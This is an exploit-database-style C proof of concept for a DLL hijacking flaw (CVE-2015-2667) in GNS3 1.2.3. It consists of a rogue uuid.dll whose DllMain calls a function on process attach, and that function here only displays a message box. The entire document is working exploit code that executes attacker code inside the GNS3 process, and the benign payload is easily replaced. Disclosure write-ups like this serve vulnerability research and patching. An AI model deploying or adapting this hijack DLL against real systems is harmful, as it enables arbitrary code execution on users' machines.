`/*
* Title: GNS3 1.2.3 DLL Hijacking Exploit (uuid.dll)
* Version: 2.0.1.7
* Tested on: Windows 8
* Vendor: http://www.gns3.com/
* Software-Link: http://downloads.gns3.com/GNS3-1.2.3-all-in-one.exe
* E-Mail: osanda[at]unseen.is
* Author: Osanda Malith Jayathissa
* Date: 01-05-2015
* /!\ Author is not responsible for any damage you cause
* Use this material for educational purposes only
* CVE: CVE-2015-2667
*/
#include <windows.h>
BOOL WINAPI DllMain (
HANDLE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH: owned();
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
int owned() {
MessageBox(0, "GNS3 1.2.3 DLL Hijacked\nOsanda", "POC", MB_OK);
}
/*EOF*/
`